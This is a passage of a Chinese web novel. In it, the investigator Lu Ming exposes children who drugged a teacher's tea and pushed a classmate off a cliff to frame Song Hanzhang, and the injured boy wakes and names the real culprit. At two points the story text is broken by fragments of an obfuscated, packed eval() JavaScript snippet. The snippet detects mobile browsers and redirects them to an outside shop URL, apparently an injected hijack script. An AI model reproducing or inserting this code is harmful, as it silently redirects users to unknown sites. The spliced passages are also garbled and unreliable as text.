陆鸣听了,对视一眼,心里便有了计较——这背后有人设局。从散布谣言激怒宋含章,到引她到后山,再到嫁祸于她,环环相扣,不像是几个十岁孩童能布下的圈套。他们命人记下口供,按上手印,便继续往下查。 青山书院里,施完鬼门十三针的林太医,抬手擦了擦额头上细密的汗珠。他的手指还因为长时间捏针而微微发颤。 他深吸一口气,伸手摸了摸钟荀彧的胸口——那里,有了一丝热气。那热气很微弱,像是寒冬里最后一星没有熄灭的炭火,但毕竟,是热的。 他的手指又在钟荀彧的手腕上搭了片刻,那脉搏虽然极细极弱,却已经不再若有若无。他那紧锁了一整夜的眉头,微微松了几分。 钟廷看见了林太医那微松的眉头,看见了那张疲惫的脸上终于闪过一丝释然。 他整个人像是一根绷到了极限的弦终于松了一点点,身体晃了晃,几乎要瘫倒在地,用双手死死撑住地面才勉强稳住。 他低下头,额头抵在冰冷的砖地上,对着林太医重重地磕了一个头,肩膀无声地颤抖着。 34. 陆鸣威胁,三人吓得腿软 天色渐黑,青山书院的灯火次第亮起,暖黄的光晕透过窗棂洒在院中的青石板上,却驱不散笼罩在书院上空的那片阴云。 钟荀彧的气息还很微弱,像是风中的残烛,火苗忽明忽暗,随时都可能被一阵风吹灭,还未有苏醒的迹象。 林太医寸步不离地守在床边,每隔半个时辰便俯身探一次脉搏、翻一次眼皮,手指搭在那细弱的手腕上,眉头始终没有完全松开。 就在这时,一袭黑色官袍的身影踏进了青山书院的大门。那人脚步无声,身形削瘦如刀,面容冷峻如铁,一双眼睛不大,却像两枚钉子,看谁谁便不由自主地屏住呼吸。他身后跟着两个同样黑衣的随从,步履一致,面无表情。 陆鸣,皇上最厉害的爪牙,有司指挥使,直属天子,不受六部管辖,专办朝堂上不便明办的案子。他从来不会轻易登谁的门。 京城里流传着一句话——“陆鸣登门,祸事临门”。一旦他亲自踏进谁家,那家人必定是大祸临头。轻则丢官罢职,重则抄家流放。 而今日,陆鸣竟然亲自来了青山书院一趟,这就说明他已在奉旨调查昨日之事,而且手中已经有了一些线索。 原本心存疑惑的王谦山长——他始终觉得昨日之事有些蹊跷,宋含章虽顽劣,却从不曾主动害人,更不会将人往死里推——旋即明白了陆鸣的来意,这是要暗查。 他赶紧恭敬地迎上前去,拱手行礼,声音压得极低:“陆大人夤夜前来,可是有要事?”陆鸣只是微微点头,附在他耳边低语了几句。王谦听完,神色一凛,郑重地答应了下来。 一直待在书院的宋行简、洪楚离、程国恩、王修安等人见到陆鸣亲自登门,心头都是一震。陆鸣是何等人物,他们虽年轻,却也心知肚明。 这等案子,按理说交给京兆府或刑部便可,哪里轮得到有司指挥使亲自出马?既然陆鸣亲自来了,这就说明昨日之事并非他们亲眼所见的那样简单——也许,钟荀彧真的不是宋含章推的。 宋行简望着陆鸣那冷峻的侧脸,心头那块压了一天一夜的巨石,第一次有了一丝松动。他转头看向后山的方向,攥了一整天的手指终于微微松开了些。 夜晚的天如墨一般黑,厚厚的云层遮住了明月与星辰,一丝光都透不下来。宋府、钟府、青山书院,依旧漫长。 宋府的祠堂里,宋含章趴在长凳上睡得正沉,呼吸均匀,仿佛外面的风雨都与她无关。除了宋含章,其他人又度过了一个不眠之夜——宋四维和宋夫人睁着眼睛望着帐顶,谁都没有说话;钟廷和钟夫人守在儿子床边,一人握着一只冰凉的小手,眼睛熬得通红。 第二日早晨,沈十安、顾子佩、曾思雨早早便起来了。 三人梳洗打扮好,看着镜中自己那张没有异样的脸,互相在心里给自己壮了胆——昨日他们演得很好,所有人都看到了宋含章伸出去的手,只要他们不说,谁也不会知道。 他们踏上马车,吩咐车夫前往书院。尽管顾承泽身体虚弱得很,双腿发软,脸色蜡黄,也还是挣扎着爬了起来,被仆人搀扶着踏上了马车。 他总觉得自己昨日那场突如其来的腹泻来得太巧了——那壶茶,是曾思雨亲手给他和余老先生倒的。 青山书院的西院里,陆鸣立在院中的一棵老槐树下。 晨光穿过树叶洒在他身上,他没有穿官袍,只是一身玄色便服,像一柄收在鞘中的刀,不动声色,却让人不敢靠近。 他正抬头望着那棵树——枝叶繁茂,树冠如盖,正是宋含章那日把霍凌霜、沈十安、顾承泽、顾子佩扔上去的那棵。 他的嘴角微微扬起,带着一丝若有若无的笑意,像是找到了什么有趣的东西,暗自说道:“真是个好苗子。若是男子,我有司必有你一席之地——小小年纪便有这般身手和胆魄,可惜投错了胎。” 按照陆鸣的吩咐,余老先生拄着拐杖,颤颤巍巍地把昨日自己喝的那壶茶端到了西院,递给陆鸣。他那张虚脱了一日一夜的脸还泛着蜡黄,眼窝深陷,颧骨突出,但一双手却出奇地稳——他要弄清楚,自己到底是怎么着了道的。 陆鸣接过茶壶,拔开壶盖,凑到鼻端闻了闻。他是审案的老手,这些年不知闻过多少毒药、迷药和泻药。只消一嗅,他便微微挑了挑眉,嘴角一翘,将茶壶搁在桌上,语气平淡得像在说今天的天气:“余老先生,您这茶水被人做了手脚。里面下的是巴豆粉,分量还不轻。这才导致您和顾家那小子暴下不止,虚脱了一整日。” 眼窝深陷的余老先生听了,枯瘦的手指握紧了拐杖,指节泛白。他教了一辈子书,桃李满天下,自问从不曾结怨于人,此刻满心不解地看着陆鸣:“老朽这一把老骨头,无仇无怨,难道还有人惦记?” 陆鸣听了,忽然笑了一声。那笑声很轻很短,像是刀刃擦过磨石,带着几分冷意和几分了然于胸的锐利:“不把您老引开,那群顽童如何能顺顺当当地去后山,按部就班地演完那一出戏?您老在场,她们的戏怎么唱得下去?” 余老先生听了,瞳孔猛地一缩,旋即明白过来。他把拐杖重重往地上一杵,咚的一声闷响震得院中众人的心都跟着一沉,花白的胡须气得直颤:“竟然敢如此大胆——在师长茶中下药,嫁祸同窗,视人命为儿戏。我教书半生,竟没看出身边养着这样的蛇蝎!” 青山书院门口,一辆接一辆的马车相继停下。车轮碾过青石板的声音此起彼伏,学子们掀帘下车,纷纷踏进书院的大门。 东院的少年郎们目不斜视,步履匆匆,知道今日非同寻常。西院的稚童们则茫然地左顾右盼,小声交头接耳——今日这院子里的气氛,比先生发火还要让人心慌,好像连空气都变重了。 西院的院子里,已经支起了一张桌案。陆鸣端坐在桌前,一手随意地搭在桌面上,手心里捏着一个精致的钱袋子——那钱袋子绣着精细的苏绣,针脚细密,花鸟纹样栩栩如生,在晨光下泛着丝线的光泽。他身后各站着一个手下,皆是黑色劲装,腰悬短刀,面无表情,目光如鹰隼般扫视着每一个走进院中的人。 王谦山长、余老先生、钟廷坐在一旁,三人面色各异——王谦端肃沉静,余老先生怒意未消,钟廷则面容憔悴而眼神迫切,他急于知道真相。 王修安、宋行简、洪楚离、程国恩、顾子衿等人则是笔直地立于一旁,屏息凝神。 待到曾思雨、顾承泽、沈十安、顾子佩踏进西院,他们立马觉察到院子里的氛围异常凝重——那种静,不是安静的静,是暴风雨前最后一瞬的死寂。 顾承泽不明所以,拖着虚弱的身体茫然地往前走了两步。可是曾思雨、沈十安、顾子佩看到陆鸣那阎罗王一样冷峻的脸色时,三人的心同时开始上下跳动——他们当然知道陆鸣是谁,京城里没有哪个官宦子弟不知道这个名字。 曾思雨攥了攥拳,指甲陷进了掌心;沈十安的喉结上下滚了一下,脚底发软;顾子佩的脸白了一瞬,又强作镇定。 他们走到王谦山长和余老先生面前,恭恭敬敬地行了礼,声音倒还算稳当。曾思雨低着头,把眼里的慌张藏在了睫毛下面,姿态摆得比谁都得体。 王谦山长没有说话,只是抬起眼看了他们一眼。那目光不怒不喜,平静得像一面古井,让曾思雨心里反而更加没底。他只是淡淡地说了一句:“你们且去桌前,陆大人问什么,你们就答什么。” 四人听了,便转身朝着陆鸣走去。顾承泽的身体虽然虚弱,脚下的步子却轻盈坦然——他什么都不知道,什么都不怕。而曾思雨、顾子佩、沈十安的步子却仿佛有千万斤重,每一步都像踩在泥沼里,怎么拔都拔不动。 陆鸣没有说话。他的目光在四人脸上逐一扫过,像一把刀从每个人的眉心划过。然后,他把手中的钱袋子往桌上一放——那钱袋子落在桌面上的声音不大,却让曾思雨的眼皮猛地跳了一下。 他的声音不高,却像一把钝刀慢慢割在皮肤上,带着一种冷森森的玩味:“你们想害人呢,就要做得高明一些。这世上的圈套,没有不透风的墙,只有没找对缝的刀。别让人找到马脚——可惜,你们找的人,嘴巴不够紧。” 院中的人一听,都震惊不已。宋行简的瞳孔骤然收缩,洪楚离张大了嘴,连钟廷都从椅子上倏地站了起来,扶着椅背的手在发抖。 这话里的意思再明白不过——昨日之事,不是意外,不是冲动,而是一场蓄意的陷害。 余老先生闭了闭眼,嘴唇抿成了一条线。顾子衿猛地抬起头,泪水在眼眶里打转,她看了宋行简一眼,那眼神里满是“我说过了”的委屈和欣慰。 曾思雨的脸上依然撑着镇定,可那镇定已经有了裂痕,声音里带着一丝不易察觉的颤抖:“我们不知道您在说什么。什么马脚,什么做得高明——昨日的事大家都亲眼看到了,与我何干。”她的下巴微微扬起,那姿态和她父亲靖王爷在朝堂上死不认账的模样如出一辙。 陆鸣修长的手指拈起桌上那只钱袋子,翻过来露出底角那一处精致的苏绣纹样,在晨光下格外醒目。 他的语气依旧平淡,不紧不慢,像在聊家常:“听说靖王爷府上有一位苏州来的绣娘,极擅苏绣,京城里找不出第二个能绣出这种双面缠枝纹的——这针脚的走法,绷布的力度,收针的弧度,全是她的独门手艺。经过调查,这个钱袋子,正是出自贵府那位绣娘之手。郡主不会连自己的东西都认不出来吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈十安被迫对上那双眼睛——那双眼睛不大,却像一口不见底的古井,井底藏着某种能吞噬一切的东西,让人浑身冰凉。陆鸣的声音很轻,轻得只有沈十安一个人能听清,却每一个字都像是从牙缝里挤出来的:“沈十安,你来说吧。” 沈十安看着陆鸣那双会吃人的眼睛,浑身的骨头都像被抽走了。他再也撑不住,浑身剧烈地发抖,牙关嗒嗒作响,眼泪混着鼻涕一起流了下来,赶紧颤声说道:“是霍凌霜出的主意,曾思雨布的计划……我只是……我只是负责在书院门口望风……顾子佩也参与了,我们一起……还有……还有说书人是曾思雨找的,余老先生茶里的药是曾思雨下的,把宋含章引到后山也是事先说好的……我们只是想让宋含章出丑,想让她被赶出书院……我没想过要害死钟荀彧,我真的没想过——我不知道他会摔成那样……” 他一口气把如何设下圈套、如何分工、如何让说书人散布谣言、如何下泻药引开余老先生和不同意陷害宋含章的顾承泽、如何把宋含章引到后山、曾思雨如何趁乱把钟荀彧推下悬崖、如何串通好口径嫁祸给宋含章的事,全盘抖了出来。每一个细节都交代得清清楚楚,仿佛把这些话憋在心里太久太久,一旦开口便再也没了回旋的余地。 顾子佩跪在沈十安旁边,早已泣不成声,只是不停地点头,肩膀一耸一耸地抽动着,默认了沈十安说的每一个字。 曾思雨听了,脸色铁青,猛地转身一脚踢在沈十安的肩膀上,把他踹得歪倒在地,声音尖利地骂道:“胆小鬼!没出息的东西!你就是这样出卖朋友的吗!”她那一脚用尽了全身的力气,可谁都看得出来,她的色厉内荏已经到了强弩之末,那双眼睛里藏着的不是愤怒,是恐惧。 众人听了,震惊不已。宋行简整个人像被什么东西击中了一般,靠在廊柱上,用手捂住了嘴——他在想那一巴掌,他打下去的那一巴掌。洪楚离和程国恩面面相觑,一时竟说不出话。 钟廷猛地转向曾思雨,目光如刀,太阳穴上的青筋突突直跳。 王谦山长则缓缓闭上了眼睛,深深叹了口气——他一生的教学生涯里,从未遇到过这样的事情。 他们万万没有想到,霍凌霜和曾思雨小小年纪便如此毒辣——设局陷害,下药算计,推人坠崖,嫁祸同窗。这不是孩童间的顽劣与打闹,这是一场精心策划的阴谋。 陆鸣直起身,转过身,面不改色地扫了曾思雨一眼,那一眼冷淡而平静。 然后他回头对手下吩咐道,声音干脆利落,不带任何情感:“去,把靖王爷、宋学士、顾老夫人、沈老夫人、霍老将军和霍凌霜——都请到书院里来。一桩案子,所有涉案的人,一个都不能少。” 35. 真相大白,含章被冤枉 日光爬上山顶,将青山书院西院笼罩在一片清朗的晨光之中。院子里的老槐树在晨风中微微摇曳,树影斑驳地落在青石地面上,也落在院中那一张桌案和围立的人群身上。 陆鸣依旧坐在那一张桌子前,姿态闲适,一手搭在椅背上,仿佛只是来书院做客的闲人。 而一旁,除了原有的人员——王谦山长、余老先生、钟廷、王修安、宋行简、洪楚离、程国恩、顾子衿——此时多了几张新面孔:宋四维和宋夫人并肩而立,两人面色灰败,宋夫人扶着丈夫的手臂,手指微微发颤;靖王爷负手站在另一侧,一袭锦袍在晨光里显得格外扎眼,眉头拧成了疙瘩;沈老夫人拄着拐杖,面容沉肃如铁;顾老夫人由顾大夫人搀扶着,目光扫向院中那几个孩子时,眼底掠过一抹寒光;顾承宇立在祖母身后,不动声色地观察着院中每一个人的神色;沈夫人绞着帕子站在沈老夫人身侧,目光躲闪;霍擎苍一身便袍,花白的胡须在晨风里微微飘动,神情却比任何时候都更凝重;霍凌霜站在祖父身后,低垂着头,双手在身前绞得指节发白。 沈十安和顾子佩瑟瑟发抖地站在一旁,两个孩子的脸都白得像纸。沈十安的腿还在打颤,站都站不稳;顾子佩缩着肩膀,不敢看祖母的方向。 而曾思雨则站在靖王爷身边,昂着头,下巴抬得高高的,一只手还攥着靖王爷的袖角,一副“我父亲是手握京畿重兵的靖王爷,谁也不能把我们怎么样”的气势。她的眼神里仍有几分不甘的倔强,只是那倔强底下,藏着一丝越来越深的慌乱。 陆鸣环视了一圈,目光在每一位当家长辈的脸上都略略停了片刻,然后才不紧不慢地开了口。 他话语简练,条理分明,将霍凌霜出主意、曾思雨设计主谋、沈十安与顾子佩相助配合,如何从散布谣言激怒宋含章开始,到下泻药引开余老先生和顾承泽,再到设下后山陷阱,最后趁乱推下钟荀彧并嫁祸于宋含章的全过程,一五一十地告知了在场众人。 宋四维夫妇听到一半,便猛地从椅子上站了起来。宋夫人的身体晃了晃,宋四维一把扶住了她的手臂。他们听着那一环扣一环的阴谋,听着那些自己从未想象过的细节,脑海里反复回荡着的,却是祠堂里女儿趴在长凳上,一遍又一遍喊出的那句——“不是我推的!不是我推的!”她喊了多少遍?五遍?十遍?而他们,谁都没有信她。 宋夫人想起女儿背上被竹鞭抽得血肉模糊的样子——新旧伤口叠在一起,血肉翻卷,连衣裳都被血粘在了皮肤上。那一幕此刻像一把烧红的烙铁,狠狠地烫在了她的心口上。宋四维则闭了闭眼,面上虽未露太多情绪,可那只扶着妻子的手,指节已然泛白。他没有说话,但沉默里是铺天盖地的自责和心疼。 霍擎苍则是转过身,双目如炬,直直地盯着霍凌霜,声音低沉而威严,像一面被敲响的战鼓:“你老实交代,这个主意是不是你出的?” 霍凌霜没有躲闪,她走到祖父面前,直直跪了下去,膝盖磕在青石板上,发出清脆的一声响。她仰起头,眼眶微红,声音却是一字一句清清楚楚:“祖父,是孙女出的主意。孙女最初想的,只是让说书人把宋含章饭量大一事传出去,让她被笑话一顿,然后让钟荀彧挨一顿打,并没有想过让他掉下悬崖。孙女出完主意之后,越想越觉得不妥——那念头在心里翻来覆去地磨,孙女想起祖父说的‘赢得起也要输得起’,便私下告诉他们几个,放弃整宋含章,他们也答应了孙女。可是——”她咬着下唇,嘴唇上咬出了深深的齿痕,“可是他们竟然在孙女被鞭子抽得趴在床上养伤的那半个月里,出尔反尔,瞒着孙女,暗中布置了这一切。孙女想过要说出来,可话到嘴边又咽了回去,祖父——是孙女的错,孙女不该出那个主意,不该开那个头。”她的声音没有哭腔,却越说越低,说到最后几乎是从牙缝里挤出来的。 霍擎苍听了,胡须都在微微发抖,面色铁青,攥着拳头砸了一下自己的大腿,没有开口责骂孙女,只是从牙缝里迸出几个字:“回去再跟你算账。” 顾老夫人看着顾子佩。她没有开口,只是一双眼睛看过去——那双眼睛里没有怒火,没有责骂,只有一种沉甸甸的、压得人喘不过气来的威压。她还未来得及开口,顾子佩光是触到那目光,双腿便又软了,扑通一声跪倒在地,眼泪夺眶而出:“祖母,孙女知晓错了——孙女什么都没做,一切都是曾思雨做的!是她找的说书人,是她下的药,也是她推的人——孙女只是站在旁边看,孙女真的什么都没做……”她的声音又尖又急,像是在拼命把自己从泥沼里往外拔。 顾老夫人没有打断她,等她说完,才缓缓开口,声音平静得让人发怵:“那你可知晓,承泽的茶水里被人下了药?” 顾子佩的肩膀一抖,头低到了胸口,轻轻点了点。那一个点头,像是用尽了她全身的力气。 顾老夫人闭上了眼睛。片刻之后,她又睁开,那目光里的威压已经褪去,剩下的只有一种沉沉的、说不出口的心痛:“你不仅眼睁睁看着你的亲哥哥喝下那杯被下了药的茶,一声不吭,还帮着别人来陷害含章——那个从马蹄下救了你姐姐的含章,那个被炸得浑身是血都没哭过的含章。我顾家百年将门,行事光明磊落,竟然生出你这种孽畜。”她的声音始终没有拔高,却每一个字都像一记重锤,砸得院子里鸦雀无声。 顾子佩哭得梨花带雨,泪水打湿了衣襟,跪着往前挪了两步,仰起脸可怜巴巴地看着祖母,想说什么,却只在喉咙里发出破碎的呜咽。顾老夫人叹了口气,那叹息里既有疼也有痛,既是心软也是心寒。她没有再说什么,只是将目光从孙女身上移开,望向了院中那棵老槐树的树冠,仿佛不想再看到这张脸。 顾承宇站在一旁,自始至终没有开过口。他看着顾子佩那泪流满面的样子,脑海里浮现的却是昨晚饭桌上那个把头埋进碗里、一言不发、筷子戳着米饭半天没吃一口的妹妹。原来是做了亏心事了。 沈老夫人看着沈十安,眼睛里满是怒气,握着拐杖的手青筋凸起,唇角微微下撇。 沈十安吓得赶紧跪下,膝盖磕得比谁都响,声音发抖:“祖母,孙儿只是望风——孙儿只是在书院门口守着,远远看到宋含章来了就跑进去报信。孙儿没有下药,没有推人,孙儿真的只是望风……” 沈老夫人垂下眼,看着面前这个缩成一团、筛糠般发抖的孙子,沉默了半晌。良久,才从唇间吐出几个字,那声音干涩得像秋天被碾碎的枯叶:“望风——就是帮凶。你站在那儿看着钟荀彧一步步走进陷阱,看着他被推下悬崖,你一个字都没有说,一步都没有上前。你太让人失望了。” 沈十安跪在地上,眼泪鼻涕糊了一脸,压低了声音,像是怕被更多人听见:“孙儿只是想让宋含章滚出京城,不想跟她成亲罢了。她那么胖,那么凶,京城里人人都笑话我娶了个混世魔王……孙儿就是想让她走,走得越远越好,永远不要再回来……”他的声音越说越小,像是自己也觉得这番话站不住脚。 沈老夫人听完,没有再说话。她只是把目光从孙子身上收回来,望了望宋四维和宋夫人站着的方向,嘴唇动了动,终究没有发出声音。那张饱经风霜的脸上,除了怒气,更多的是一种被辜负的失望。她喜欢宋含章,从第一次见到那孩子就喜欢。可这份喜欢,被她的亲孙子拿出去当了伤害她的工具。 靖王爷低头看着曾思雨。他的脸色阴沉得能滴出水来,嘴角的纹路因为压抑的怒气而微微发颤。他蹲下身子,视线与女儿平齐,声音压得极低极沉,却有一种山雨欲来的压抑:“你说实话——那个把钟荀彧推下悬崖的人,是不是你?” 曾思雨昂起头看着父亲,下巴还是扬着,可那扬起的下巴已经在微微发颤。她没有直接回答父亲的问题。她流着泪,用一种近乎辩解的语气,急切地说道:“女儿只是想让钟家与宋家产生矛盾——只要钟叔叔认为是宋含章推了荀彧,钟叔叔就会恨宋家,就会把宋含章赶出京城。女儿去悬崖下踩过点的——女儿亲自去看过!悬崖下面有一个很深很深的水潭,水面又宽又静,人摔下去会被水接住的。女儿只想利用钟荀彧一下,想着钟荀彧掉下去最多只会摔断一条腿——摔断腿而已,又不会死。女儿没想过让他死!”她把“没想过让他死”这几个字说得格外用力,像是在强调自己并非毫无底线。 院中一片死寂。 大家都震惊了。宋四维和宋夫人不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618715|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置信地看着眼前这个才十一岁的女孩子;王谦山长缓缓摇了摇头,闭上了眼睛;连陆鸣那只一直闲闲搭在椅背上的手,都微微顿了一下。 没有想到,一个才十一岁的曾思雨,竟然如此歹毒——她精心算计了一切,算计了钟荀彧的命,算计了宋含章的名声,算计了两家的仇恨。她甚至还亲自去踩了点,像评估一枚棋子一样评估了一条人命的价值。她不是不知道钟荀彧会受伤,她只是觉得——断一条腿而已,没什么大不了。她说“没想过让他死”的时候,那语气理直气壮得仿佛自己已经很仁慈了。 钟廷站在人群前面,从头到尾没有开口说过一句话。此刻他听了这番话,气得拳头紧紧攥着,指节捏得咔咔作响,太阳穴上的青筋突突直跳,牙齿咬得咯咯响。他想说很多话,想质问这个女娃到底把别人的命当成了什么,可最终一个字都没有说。他只是死死盯着曾思雨,那目光如果可以杀人,曾思雨此刻已经死了十回。 陆鸣站起来,拍了拍衣袍上并不存在的灰尘,嘴角挂着一丝似笑非笑的弧度。 他走到靖王爷面前,声音不高不低,却让在场每一个人都听得清清楚楚:“王爷,您这个女儿可是不得了啊。小小年纪,竟然把性命看作儿戏——为了出口气,便设下如此周密的圈套,找说书人散布谣言,给师长的茶里下药,把同窗推下悬崖,事后还能面不改色地嫁祸于人。这一套连环计使下来,心思之密、手段之狠,怕是连我们这些办案子办了半辈子的人,都要赞一句‘精彩’。若是现在不好好教育,再过几年,怕是连杀人放火都不会眨眼了。” 靖王爷的脸一阵红一阵白,喉结上下滚动了好几次,终于开口道:“本王自然会好好教育。”他这话说得硬邦邦的,像在朝堂上驳回言官。说完,他伸手揪住曾思雨的后领,将她拎到钟廷面前,往地上一推:“钟大人,这个孽障今天就交给你。你要打要骂,要杀要剐,全凭你处置。本王绝不袒护。” 曾思雨跌坐在地,难以置信地仰头看着父亲——那个把她捧在手心里怕摔了、含在嘴里怕化了的人。她的眼泪终于不再是辩解和表演,而是真真正正地涌了出来,伸手去拽父亲的袍角:“父亲,父亲——女儿知道错了,女儿真的知道错了……钟叔叔您原谅女儿吧,女儿以后再也不敢了……”她哭得声嘶力竭,嗓子都劈了。 钟廷抬起头,看着靖王爷。他是老江湖,一眼便看穿了对方的盘算——靖王爷舍不得亲自处罚这个心肝宝贝,便把处罚权交到他手里,来做这个恶人。可靖王爷也算定了他钟廷不敢真的处罚曾思雨——毕竟靖王爷手握京畿重兵,连皇上都要给他三分薄面,谁敢动他的女儿?钟廷不过一个户部尚书,手中无兵无权,按理说,拿什么跟靖王爷叫板? 可他钟廷是谁?他钟廷也是将门之后——钟家祖上三代戍边,马革裹尸的将军数不胜数。他在这朝堂上摸爬滚打几十年,管着天下的钱粮,连方丞相的面子都不曾轻易给过,岂能是任人威胁的软骨头? 他挺直了腰杆,目光如刀,直直地迎向靖王爷的眼睛,一字一字地说,每一个字都掷地有声,像石头砸在冰面上:“王爷,如果犬子命大,能捡回一条命,那么这一切,就让它过去——为了犬子的福报,我可以不追究。但如果犬子有什么不测——”他顿了顿,目光扫过沈十安,扫过顾子佩,扫过霍凌霜,最后稳稳地停在曾思雨和靖王爷的身上,“所有参与的人,我一个都不会放过。” 这句话说完,院子里久久没有人出声。晨风吹过老槐树的枝叶,吹下一片叶子,落在青石板上,沙沙地滚了几滚。 顾老夫人垂下了眼帘,沈老夫人握紧了拐杖,霍擎苍捋着胡须的手停在了半空中。靖王爷面色铁青,嘴唇动了动,却终究没有接话。他们心里都已了然——今日这一遭,算是把钟廷彻底得罪了。 那个平日里温文尔雅的户部尚书,一旦记了仇,便是睚眦必报,不死不休。 而更让他们脊背发凉的是,这一切本可以避免——如果他们在孩子第一次犯错时就严加管教,如果他们在孩子第一次取笑宋含章时就真正制止,如果他们在孩子第一次说谎时就让她知道谎言的代价——这一切,本可以避免。 36. 宋含章走了,只带走那一块手帕 因为钟荀彧还未醒来,青山书院所有的人都没有离开。 从日升到日中,从日中到日斜,大家都在青山书院的院中,或站、或立、或坐——王谦山长坐在廊下的竹椅上,双手交叠在膝头,闭目养神,面容平静,只是眉头一直没有松开;余老先生拄着拐杖坐在台阶上,那双虚脱了一日一夜的腿还在微微发颤;宋行简靠在那棵老槐树下,目光一直望着偏房的方向;洪楚离和程国恩并排坐在廊下的栏杆上,谁也没有开口说话。 院中寂静无比,没有人说一句话,只有偶尔一阵风吹过树叶的沙沙声,和远处后山传来的几声鸟鸣,衬得这沉默更加沉重。 日头西斜,将老槐树的影子拉得又长又斜,随后黑色慢慢从山脚漫上来,漫过了院墙,漫过了树梢,漫过了每一个人的头顶。书院里的灯火次第亮起,将众人的影子投在青石地面上,影影绰绰,晃动不定。 偏房里,烛火微微跳动,将床边两个人的影子投在墙上。钟夫人坐在床边,紧紧握着儿子的手,那只小手在她掌心里捂了一整天,终于从冰凉捂到微温。 她的嘴唇干裂,面容憔悴,眼窝深深地陷了下去,可那双眼睛却一刻也没有离开过儿子的脸。她在心里一遍一遍地默念着,用自己的命去换儿子的命——只要他能活,让她做什么都可以,让她折寿十年、二十年、三十年,让她把剩下的命都交出去,都行。 兴许是这世间还有牵绊,钟荀彧的手指动了一下。 钟夫人感觉到了。她猛地一震,那双悲痛得近乎麻木的眼睛里,忽然有什么东西亮了一下。 她缓缓低下头,将目光移到手心里儿子的手上,嘴角微微扬起,带着一丝欣喜。那欣喜极小极淡,像是寒冬里第一星微弱的炭火。可是儿子没有继续再动,那只手指又安静了下去,仿佛方才只是她太想他醒来而产生了错觉。那一丝欣喜转瞬即逝,她的嘴角又垂了下去,眼睛里的光芒也暗了。 可是过了一会儿,儿子的手指又动了一下。这一次比方才更有力,更清晰——不是错觉,是真的在动。她的眼睛死死地盯着儿子的手指,呼吸都停了,看着那只苍白的小手指又动了几下。她嘴角的欣喜再次浮现,这一次比方才更大、更稳,像炭火终于被吹着了,亮了起来。 她赶紧把嘴凑到儿子耳边,轻声地、一字一字地说道,声音因为激动而微微发颤,又怕太大声会惊着儿子:“荀彧,荀彧——你是不是醒了?如果你醒了,就抓抓娘的手指头,好不好?轻轻抓一下,娘就知道你回来了。”那声音轻得像怕惊碎了什么,又急切得像等了一个漫长的冬天终于听见了冰河开冻的第一声脆响。 迷迷糊糊中的钟荀彧听见了。他听见了那个熟悉的声音——那个从他牙牙学语时就一直在耳边的声音,那个他每次生病都会守在床边给他唱童谣的声音。他抓住了那个声音,用尽全身仅有的一点力气,把手指收拢,果真用了些力,虚虚地抓着母亲的手指。那力道极轻极轻,像一片羽毛,却把一个母亲从地狱里拉了回来。 一旁的林太医看见了钟荀彧那微微蜷动的手指。他立刻放下手中的药碗,快步走到床边,俯下身子,手指搭上了钟荀彧的脉搏——那脉搏比昨夜强了些,虽然还细,却已经不再若有若无。他翻开钟荀彧的眼皮,瞳孔已经回缩,不再是之前那涣散的模样。他直起身,脸上那紧绷了一天一夜的神色,终于有了一丝松动。 钟夫人喜极而泣。她张了张嘴,想说儿子醒了,想说儿子活过来了,可喉咙像是被什么东西堵住了,一个字都说不出来。 她跌跌撞撞地跑出偏房,脚步踉跄得几乎摔倒,跑到院中,也不管什么礼数什么体统,一把抓住钟廷的手臂,嘴唇哆嗦着,就是说不出话来。她只是拉着钟廷,转身就往屋里奔。钟廷被她拽得一个踉跄,看着夫人那张满脸泪痕却突然有了光的脸,拔腿就跟了进去。 院子里的灯火明亮,映在众人的脸上。这一张张或老或少的脸上,皆是忐忑——有人攥紧了拳头,有人屏住了呼吸,有人不自觉地往前挪了半步。 宋行简从槐树下站直了身子,洪楚离从栏杆上跳了下来,连余老先生都拄着拐杖颤巍巍地从台阶上站了起来。没有人说话,所有人的目光都聚集在那扇半掩的门上。 坐在床边的林太医正在认真地给钟荀彧把脉,三根手指搭在细细的手腕上,闭目凝神。 钟廷和夫人站在一旁,浑身颤抖,钟廷的手扶着夫人的肩,两个人都死死盯着林太医的脸,不敢错过任何一个细微的表情。 没一会儿,林太医睁开眼睛,将手指从钟荀彧的腕上移开,站起身来,转向钟廷。他素来寡言,此刻也只说了一句,声音里带着一种历尽千帆后波澜不惊的笃定:“令郎已安。今日遭如此大难尚能挺过来,以后必定安然无虞——这小子命硬,阎王不肯收。” 钟廷和夫人听了,愣了一瞬。然后两个人像两棵被狂风刮了太久终于落了根的树,浑身一软,喜极而泣。 钟夫人捂住嘴,眼泪无声地往下淌,肩膀一抽一抽地,终于不再是那些撕心裂肺的哭嚎,而是如释重负的、劫后余生的泪。 钟廷的眼眶也红了,这个在朝堂上从不低头的户部尚书,此刻什么话都说不出来。两人齐齐跪下,膝盖磕在砖地上,对着林太医重重地磕头致谢。钟廷的头抵在冰冷的砖地上,肩膀无声地颤抖着。 林太医赶紧弯腰将两人扶起,连声道:“医者本分,不必如此。” 床上的钟荀彧,嘴巴动了动。那张苍白的嘴唇翕动了几下,像是在说梦话,又像是在努力发出什么声音。他的呼吸还很微弱,胸口起伏的幅度极小,可那双嘴唇,确实在动。 钟廷俯下身,把耳朵凑到儿子嘴边。他的动作极轻极慢,只听见儿子那断断续续的、微弱得像蚊蚋振翅般的声音,一个字一个字从喉咙深处艰难地挤出来:“是……曾思雨……把我推下去的……不要……为难……宋含章……不是她……推的……”钟荀彧的话断断续续,说几个字就要歇一歇,可那意思,分明而清楚。话音刚落,他又沉沉地闭上了眼睛,仿佛把这几句话说出来,整个人又睡了过去——但这一次,是安稳的、有呼吸有温度的睡眠。 